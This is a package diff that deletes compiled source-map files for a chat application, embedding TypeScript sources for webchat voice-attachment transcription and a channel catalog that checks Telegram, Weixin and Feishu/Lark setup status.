-{"version":3,"file":"voice-stt-webchat.js","names":[],"sources":["../../../../src/channels/attachments/voice-stt-webchat.ts"],"sourcesContent":["/**\n * STT for webchat voice attachments: merge transcripts into user text and track inbound voice for TTS trigger.\n */\n\nimport type { STTConfig } from '../../voice/stt/types.js';\nimport { DEFAULT_STT_CONFIG } from '../../voice/stt/types.js';\nimport { isSTTAvailable, transcribe } from '../../voice/stt/index.js';\nimport {\n  decodeInboundAttachmentBase64,\n  readInboundAttachmentBuffer,\n  type InboundAttachmentInput,\n  type MediaRef,\n} from './inbound-persist.js';\n\nconst STT_MAX_BYTES = 25 * 1024 * 1024;\n\nfunction mergeSttProviders(\n  base: STTConfig['providers'],\n  patch: STTConfig['providers'],\n): STTConfig['providers'] {\n  if (!base && !patch) return undefined;\n  const merged: Record<string, Record<string, unknown>> = { ...(base ?? {}) };\n  for (const [id, slice] of Object.entries(patch ?? {})) {\n    merged[id] = { ...(merged[id] ?? {}), ...slice };\n  }\n  return merged;\n}\n\nexport function mergeSttConfigFromAppConfig(\n  stt: Partial<STTConfig> | undefined,\n  toolsMedia?: { models?: STTConfig['sharedModels'] },\n): STTConfig {\n  const p = stt ?? {};\n  return {\n    ...DEFAULT_STT_CONFIG,\n    ...p,\n    providers: mergeSttProviders(DEFAULT_STT_CONFIG.providers, p.providers),\n    fallback: { ...DEFAULT_STT_CONFIG.fallback!, ...p.fallback },\n    ...(toolsMedia?.models?.length ? { sharedModels: toolsMedia.models } : {}),\n  };\n}\n\nexport function isVoiceLikeAttachment(att: InboundAttachmentInput | MediaRef): boolean {\n  if (att.type === 'voice') return true;\n  const m = att.mimeType?.toLowerCase() ?? '';\n  return m.startsWith('audio/');\n}\n\nexport async function mergeVoiceTranscriptsIntoUserText(\n  prepared: (InboundAttachmentInput | MediaRef)[] | undefined,\n  userText: string,\n  sttConfig: STTConfig,\n  opts?: { skipVoiceTranscription?: boolean },\n): Promise<{ text: string; inboundVoice: boolean; voiceTranscripts: string[] }> {\n  if (!prepared?.length) {\n    return { text: userText, inboundVoice: false, voiceTranscripts: [] };\n  }\n\n  const hasVoice = prepared.some(isVoiceLikeAttachment);\n  if (!hasVoice) {\n    return { text: userText, inboundVoice: false, voiceTranscripts: [] };\n  }\n\n  if (opts?.skipVoiceTranscription === true) {\n    return { text: userText, inboundVoice: true, voiceTranscripts: [] };\n  }\n\n  if (!isSTTAvailable(sttConfig)) {\n    return { text: userText, inboundVoice: true, voiceTranscripts: [] };\n  }\n\n  const transcripts: string[] = [];\n\n  for (const att of prepared) {\n    if (!isVoiceLikeAttachment(att)) continue;\n\n    let buf: Buffer | null = null;\n    if ('uri' in att && att.uri?.trim()) {\n      try {\n        buf = await readInboundAttachmentBuffer(att.uri.trim());\n      } catch {\n        buf = null;\n      }\n    } else if ('data' in att && att.data) {\n      try {\n        buf = decodeInboundAttachmentBase64(att.data);\n      } catch {\n        buf = null;\n      }\n    }\n\n    if (!buf || buf.length === 0) {\n      transcripts.push('[Voice: empty]');\n      continue;\n    }\n    if (buf.length > STT_MAX_BYTES) {\n      transcripts.push('[Voice: file too large]');\n      continue;\n    }\n\n    try {\n      const r = await transcribe(buf, sttConfig, {\n        language: sttConfig.provider === 'alibaba' ? 'zh' : undefined,\n      });\n      transcripts.push(r.text.trim() || '[Voice: no speech detected]');\n    } catch {\n      transcripts.push('[STT failed]');\n    }\n  }\n\n  const merged = [transcripts.filter(Boolean).join('\\n'), userText.trim()].filter(Boolean).join('\\n\\n');\n  return { text: merged || userText, inboundVoice: true, voiceTranscripts: transcripts };\n}\n"],"mappings":";;;;;;AAcA,MAAM,gBAAgB,KAAK,OAAO;AAElC,SAAS,kBACP,MACA,OACwB;AACxB,KAAI,CAAC,QAAQ,CAAC,MAAO,QAAO,KAAA;CAC5B,MAAM,SAAkD,EAAE,GAAI,QAAQ,EAAE,EAAG;AAC3E,MAAK,MAAM,CAAC,IAAI,UAAU,OAAO,QAAQ,SAAS,EAAE,CAAC,CACnD,QAAO,MAAM;EAAE,GAAI,OAAO,OAAO,EAAE;EAAG,GAAG;EAAO;AAElD,QAAO;;AAGT,SAAgB,4BACd,KACA,YACW;CACX,MAAM,IAAI,OAAO,EAAE;AACnB,QAAO;EACL,GAAG;EACH,GAAG;EACH,WAAW,kBAAkB,mBAAmB,WAAW,EAAE,UAAU;EACvE,UAAU;GAAE,GAAG,mBAAmB;GAAW,GAAG,EAAE;GAAU;EAC5D,GAAI,YAAY,QAAQ,SAAS,EAAE,cAAc,WAAW,QAAQ,GAAG,EAAE;EAC1E;;AAGH,SAAgB,sBAAsB,KAAiD;AACrF,KAAI,IAAI,SAAS,QAAS,QAAO;AAEjC,SADU,IAAI,UAAU,aAAa,IAAI,IAChC,WAAW,SAAS;;AAG/B,eAAsB,kCACpB,UACA,UACA,WACA,MAC8E;AAC9E,KAAI,CAAC,UAAU,OACb,QAAO;EAAE,MAAM;EAAU,cAAc;EAAO,kBAAkB,EAAE;EAAE;AAItE,KAAI,CADa,SAAS,KAAK,sBAClB,CACX,QAAO;EAAE,MAAM;EAAU,cAAc;EAAO,kBAAkB,EAAE;EAAE;AAGtE,KAAI,MAAM,2BAA2B,KACnC,QAAO;EAAE,MAAM;EAAU,cAAc;EAAM,kBAAkB,EAAE;EAAE;AAGrE,KAAI,CAAC,eAAe,UAAU,CAC5B,QAAO;EAAE,MAAM;EAAU,cAAc;EAAM,kBAAkB,EAAE;EAAE;CAGrE,MAAM,cAAwB,EAAE;AAEhC,MAAK,MAAM,OAAO,UAAU;AAC1B,MAAI,CAAC,sBAAsB,IAAI,CAAE;EAEjC,IAAI,MAAqB;AACzB,MAAI,SAAS,OAAO,IAAI,KAAK,MAAM,CACjC,KAAI;AACF,SAAM,MAAM,4BAA4B,IAAI,IAAI,MAAM,CAAC;UACjD;AACN,SAAM;;WAEC,UAAU,OAAO,IAAI,KAC9B,KAAI;AACF,SAAM,8BAA8B,IAAI,KAAK;UACvC;AACN,SAAM;;AAIV,MAAI,CAAC,OAAO,IAAI,WAAW,GAAG;AAC5B,eAAY,KAAK,iBAAiB;AAClC;;AAEF,MAAI,IAAI,SAAS,eAAe;AAC9B,eAAY,KAAK,0BAA0B;AAC3C;;AAGF,MAAI;GACF,MAAM,IAAI,MAAM,WAAW,KAAK,WAAW,EACzC,UAAU,UAAU,aAAa,YAAY,OAAO,KAAA,GACrD,CAAC;AACF,eAAY,KAAK,EAAE,KAAK,MAAM,IAAI,8BAA8B;UAC1D;AACN,eAAY,KAAK,eAAe;;;AAKpC,QAAO;EAAE,MADM,CAAC,YAAY,OAAO,QAAQ,CAAC,KAAK,KAAK,EAAE,SAAS,MAAM,CAAC,CAAC,OAAO,QAAQ,CAAC,KAAK,OACzE,IAAI;EAAU,cAAc;EAAM,kBAAkB;EAAa"}

package/dist/src/channels/catalog/channel-catalog-service.js.map

@@ -1 +0,0 @@
-{"version":3,"file":"channel-catalog-service.js","names":[],"sources":["../../../../src/channels/catalog/channel-catalog-service.ts"],"sourcesContent":["import { existsSync, readFileSync } from 'node:fs';\nimport { join } from 'node:path';\n\nimport type { Config } from '../../config/schema.js';\nimport { resolveStateDir } from '../../config/paths-state.js';\nimport {\n  buildExtensionMetadataSnapshot,\n  resolveExtensionLoaderOptionsFromConfig,\n} from '../../extensions/extension-metadata-snapshot.js';\nimport type { ExtensionMetadataSnapshot } from '../../extensions/extension-metadata-snapshot.js';\nimport type { ManifestRegistryEntry } from '../../extensions/manifest-registry.js';\nimport type { ChannelContributionDeclaration } from '../../extensions/types/manifest.js';\n\nimport type { ChannelCatalog, ChannelCatalogEntry, ChannelSetupIssue, ChannelSetupStatus } from './channel-catalog-types.js';\n\ntype BuildChannelCatalogOptions = {\n  locale?: string;\n};\n\nconst DEFAULT_CONFIG_SCHEMA: Record<string, unknown> = {\n  type: 'object',\n  additionalProperties: true,\n};\n\nfunction normalizeChannelId(raw: string): string {\n  return raw.trim().toLowerCase();\n}\n\nfunction normalizeLocale(raw: string | undefined): string | undefined {\n  const value = raw?.trim().toLowerCase().replace('_', '-');\n  return value || undefined;\n}\n\nfunction localeCandidates(raw: string | undefined): string[] {\n  const locale = normalizeLocale(raw);\n  if (!locale) return [];\n  const base = locale.split('-')[0];\n  return base && base !== locale ? [locale, base] : [locale];\n}\n\nfunction normalizeConfigPath(channelId: string, raw: string | undefined): `channels.${string}` {\n  const expected = `channels.${channelId}` as const;\n  if (!raw) return expected;\n  const trimmed = raw.trim();\n  if (!trimmed.startsWith('channels.')) return expected;\n  return trimmed as `channels.${string}`;\n}\n\nfunction configChannelKey(entry: ChannelCatalogEntry | undefined, channelId: string): string {\n  const path = entry?.configPath;\n  if (path?.startsWith('channels.')) {\n    return path.slice('channels.'.length).split('.')[0] || channelId;\n  }\n  return channelId;\n}\n\nfunction isRecord(value: unknown): value is Record<string, unknown> {\n  return typeof value === 'object' && value !== null && !Array.isArray(value);\n}\n\nfunction hasNonEmptyString(value: unknown): boolean {\n  return typeof value === 'string' && value.trim().length > 0;\n}\n\nfunction readTextFileIfPresent(filePath: string | undefined): string {\n  if (!filePath?.trim()) return '';\n  try {\n    return readFileSync(filePath.trim(), 'utf8').trim();\n  } catch {\n    return '';\n  }\n}\n\nfunction readJsonFileIfPresent(filePath: string): unknown {\n  try {\n    if (!existsSync(filePath)) return undefined;\n    return JSON.parse(readFileSync(filePath, 'utf8')) as unknown;\n  } catch {\n    return undefined;\n  }\n}\n\nfunction resolveTelegramToken(account: Record<string, unknown>): string {\n  const inline = typeof account.botToken === 'string' ? account.botToken.trim() : '';\n  if (inline) return inline;\n  return readTextFileIfPresent(typeof account.tokenFile === 'string' ? account.tokenFile : undefined);\n}\n\nfunction resolveWeixinAccountIds(raw: unknown): string[] {\n  const accounts = isRecord(raw) && isRecord(raw.accounts) ? Object.keys(raw.accounts) : [];\n  const indexed = readJsonFileIfPresent(join(resolveStateDir(), 'weixin', 'accounts.json'));\n  if (!Array.isArray(indexed)) return accounts;\n  return [...new Set([\n    ...indexed.filter((id): id is string => typeof id === 'string' && id.trim() !== ''),\n    ...accounts,\n  ])];\n}\n\nfunction hasConfiguredWeixinAccount(raw: unknown): boolean {\n  const accounts = isRecord(raw) && isRecord(raw.accounts) ? raw.accounts : {};\n  for (const accountId of resolveWeixinAccountIds(raw)) {\n    const accountCfg = accounts[accountId];\n    if (isRecord(accountCfg) && accountCfg.enabled === false) continue;\n    const accountData = readJsonFileIfPresent(join(resolveStateDir(), 'weixin', 'accounts', `${accountId}.json`));\n    if (isRecord(accountData) && hasNonEmptyString(accountData.token)) return true;\n  }\n  return false;\n}\n\nfunction hasConfiguredTelegramCredential(raw: unknown): boolean {\n  if (!isRecord(raw)) return false;\n  const accounts = raw.accounts;\n  if (!isRecord(accounts)) return false;\n  return Object.values(accounts).some((account) => {\n    if (!isRecord(account) || account.enabled === false) return false;\n    return hasNonEmptyString(resolveTelegramToken(account));\n  });\n}\n\nfunction hasConfiguredFeishuCredential(raw: unknown): boolean {\n  if (!isRecord(raw)) return false;\n  const hasRootCredentials = hasNonEmptyString(raw.appId) && hasNonEmptyString(raw.appSecret);\n  if (hasRootCredentials) return true;\n  const accounts = raw.accounts;\n  if (!isRecord(accounts)) return false;\n  return Object.values(accounts).some((account) => {\n    if (!isRecord(account) || account.enabled === false) return false;\n    const appId = hasNonEmptyString(account.appId) ? account.appId : raw.appId;\n    const appSecret = hasNonEmptyString(account.appSecret) ? account.appSecret : raw.appSecret;\n    return hasNonEmptyString(appId) && hasNonEmptyString(appSecret);\n  });\n}\n\nfunction issue(params: {\n  code: string;\n  fieldPath?: string;\n  message: string;\n  action?: ChannelSetupIssue['action'];\n}): ChannelSetupIssue {\n  return {\n    code: params.code,\n    severity: 'required',\n    fieldPath: params.fieldPath,\n    message: params.message,\n    action: params.action ?? 'open_config',\n  };\n}\n\nfunction readConfigPath(value: unknown, path: string): unknown {\n  let current = value;\n  for (const part of path.split('.')) {\n    if (!isRecord(current)) return undefined;\n    current = current[part];\n  }\n  return current;\n}\n\nfunction isEmptyConfigValue(value: unknown): boolean {\n  if (value === undefined || value === null) return true;\n  if (typeof value === 'string') return value.trim().length === 0;\n  if (Array.isArray(value)) return value.length === 0;\n  return false;\n}\n\nfunction schemaFieldTitle(schema: Record<string, unknown>, path: string): string {\n  let current: unknown = schema;\n  for (const part of path.split('.')) {\n    if (!isRecord(current)) break;\n    const props = current.properties;\n    if (!isRecord(props)) break;\n    current = props[part];\n  }\n  if (isRecord(current) && typeof current.title === 'string' && current.title.trim()) {\n    return current.title.trim();\n  }\n  return path;\n}\n\nfunction collectRequiredSchemaIssues(\n  entry: ChannelCatalogEntry | undefined,\n  raw: unknown,\n): ChannelSetupIssue[] {\n  const schema = entry?.configSchema;\n  if (!isRecord(schema)) return [];\n  const required = schema.required;\n  if (!Array.isArray(required)) return [];\n  return required\n    .map(String)\n    .filter((fieldPath) => fieldPath !== 'enabled')\n    .filter((fieldPath) => isEmptyConfigValue(readConfigPath(raw, fieldPath)))\n    .map((fieldPath) => issue({\n      code: 'config.missing_required',\n      fieldPath,\n      message: `Missing required field: ${schemaFieldTitle(schema, fieldPath)}.`,\n    }));\n}\n\nfunction collectChannelSetupIssues(\n  id: string,\n  raw: unknown,\n  entry: ChannelCatalogEntry | undefined,\n): ChannelSetupIssue[] {\n  if (id === 'telegram' && !hasConfiguredTelegramCredential(raw)) {\n    return [issue({\n      code: 'telegram.missing_credential',\n      fieldPath: 'accounts.default.botToken',\n      message: 'Telegram requires at least one enabled account with a Bot Token or token file.',\n      action: 'open_config',\n    })];\n  }\n  if (id === 'weixin' && !hasConfiguredWeixinAccount(raw)) {\n    return [issue({\n      code: 'weixin.missing_account',\n      fieldPath: 'accounts',\n      message: 'Weixin requires at least one logged-in account before it can run.',\n      action: 'run_setup',\n    })];\n  }\n  if ((id === 'feishu' || id === 'lark') && !hasConfiguredFeishuCredential(raw)) {\n    return [issue({\n      code: 'feishu.missing_credentials',\n      fieldPath: 'appId',\n      message: 'Feishu/Lark requires App ID and App Secret credentials.',\n      action: 'open_config',\n    })];\n  }\n  return collectRequiredSchemaIssues(entry, raw);\n}\n\nfunction hasChannelSetupOutsideConfig(id: string, raw: unknown): boolean {\n  return id === 'weixin' && hasConfiguredWeixinAccount(raw);\n}\n\nfunction withoutUndefined(value: Record<string, unknown>): Record<string, unknown> {\n  return Object.fromEntries(Object.entries(value).filter(([, item]) => item !== undefined));\n}\n\nfunction mergeObjectMap<T extends Record<string, unknown>>(base: T | undefined, override: T | undefined): T | undefined {\n  if (!base && !override) return undefined;\n  if (!base) return override ? withoutUndefined(override) as T : undefined;\n  if (!override) return base;\n  const out: Record<string, unknown> = { ...base };\n  for (const [key, value] of Object.entries(override)) {\n    if (value === undefined) continue;\n    out[key] = isRecord(out[key]) && isRecord(value)\n      ? { ...out[key], ...withoutUndefined(value) }\n      : value;\n  }\n  return out as T;\n}\n\nfunction mergeRecordDeep(base: Record<string, unknown>, override: Record<string, unknown>): Record<string, unknown> {\n  const out: Record<string, unknown> = { ...base };\n  for (const [key, value] of Object.entries(override)) {\n    if (value === undefined) continue;\n    out[key] = isRecord(out[key]) && isRecord(value)\n      ? mergeRecordDeep(out[key], value)\n      : value;\n  }\n  return out;\n}\n\nfunction mergeJsonSchema(base: Record<string, unknown> | undefined, override: Record<string, unknown> | undefined) {\n  if (!base && !override) return undefined;\n  if (!base) return override ? withoutUndefined(override) : undefined;\n  if (!override) return base;\n  return mergeRecordDeep(base, override);\n}\n\nfunction mergeChannelUi(\n  base: ChannelContributionDeclaration['ui'],\n  override: ChannelContributionDeclaration['ui'],\n): ChannelContributionDeclaration['ui'] {\n  if (!base && !override) return undefined;\n  return {\n    ...(base ?? {}),\n    ...(override ?? {}),\n    card: mergeObjectMap(base?.card, override?.card),\n    modal: mergeObjectMap(base?.modal, override?.modal),\n  };\n}\n\nfunction localizeContribution(\n  contribution: ChannelContributionDeclaration,\n  locale: string | undefined,\n): ChannelContributionDeclaration {\n  const i18n = contribution.i18n;\n  if (!i18n) return contribution;\n  const override = localeCandidates(locale).map((key) => i18n[key]).find(Boolean);\n  if (!override) return contribution;\n  return {\n    ...contribution,\n    label: override.label ?? contribution.label,\n    description: override.description ?? contribution.description,\n    configSchema: mergeJsonSchema(contribution.configSchema, override.configSchema),\n    uiHints: mergeObjectMap(contribution.uiHints, override.uiHints),\n    actions: mergeObjectMap(contribution.actions, override.actions),\n    ui: mergeChannelUi(contribution.ui, override.ui),\n  };\n}\n\nfunction toCatalogEntry(params: {\n  extension: ManifestRegistryEntry;\n  channelId: string;\n  contribution: ChannelContributionDeclaration;\n  locale?: string;\n}): ChannelCatalogEntry {\n  const contribution = localizeContribution(params.contribution, params.locale);\n  const id = normalizeChannelId(params.channelId);\n  return {\n    id,\n    extensionId: params.extension.id,\n    source: params.extension.source,\n    path: params.extension.path,\n    label: contribution.label,\n    description: contribution.description,\n    docsPath: contribution.docsPath,\n    order: contribution.order ?? 999,\n    configPath: normalizeConfigPath(id, contribution.configPath),\n    capabilities: contribution.capabilities ?? {},\n    configSchema: contribution.configSchema ?? DEFAULT_CONFIG_SCHEMA,\n    uiHints: contribution.uiHints ?? {},\n    actions: contribution.actions ?? {},\n    ui: contribution.ui,\n  };\n}\n\nexport function buildChannelCatalogFromSnapshot(\n  snapshot: ExtensionMetadataSnapshot,\n  options: BuildChannelCatalogOptions = {},\n): ChannelCatalog {\n  const byId = new Map<string, ChannelCatalogEntry>();\n  for (const extension of snapshot.manifestRegistry.getAllEntries()) {\n    const contributions = extension.manifest.channelContributions ?? {};\n    for (const [channelId, contribution] of Object.entries(contributions)) {\n      const entry = toCatalogEntry({ extension, channelId, contribution, locale: options.locale });\n      byId.set(entry.id, entry);\n    }\n  }\n  const entries = Array.from(byId.values()).toSorted((a, b) => {\n    if (a.order !== b.order) return a.order - b.order;\n    return a.id.localeCompare(b.id);\n  });\n  return { entries, byId };\n}\n\nexport function buildChannelCatalogForConfig(config: Config, options: BuildChannelCatalogOptions = {}): ChannelCatalog {\n  const snapshot = buildExtensionMetadataSnapshot(resolveExtensionLoaderOptionsFromConfig(config), config);\n  return buildChannelCatalogFromSnapshot(snapshot, options);\n}\n\nexport function getChannelSetupStatus(\n  config: Config,\n  channelId: string,\n  entry?: ChannelCatalogEntry,\n): ChannelSetupStatus {\n  const id = normalizeChannelId(channelId);\n  const configKey = normalizeChannelId(configChannelKey(entry, id));\n  const raw = (config.channels as Record<string, unknown> | undefined)?.[configKey];\n  const enabled = isRecord(raw) && raw.enabled === true;\n  const issues = collectChannelSetupIssues(id, raw, entry);\n  const hasAnyConfig = isRecord(raw) ? Object.keys(raw).some((key) => key !== 'enabled') : Boolean(raw);\n  const ready = issues.length === 0 && (enabled || hasAnyConfig || hasChannelSetupOutsideConfig(id, raw));\n  return {\n    enabled,\n    ready,\n    state: enabled ? (ready ? 'ready' : 'needs_setup') : 'disabled',\n    issues,\n  };\n}\n\nexport function isChannelConfigured(config: Config, channelId: string): boolean {\n  return getChannelSetupStatus(config, channelId).ready;\n}\n\nexport function getConfiguredChannelIds(config: Config): string[] {\n  return Object.keys(config.channels ?? {})\n    .map(normalizeChannelId)\n    .filter((id) => id && isChannelConfigured(config, id));\n}\n"],"mappings":"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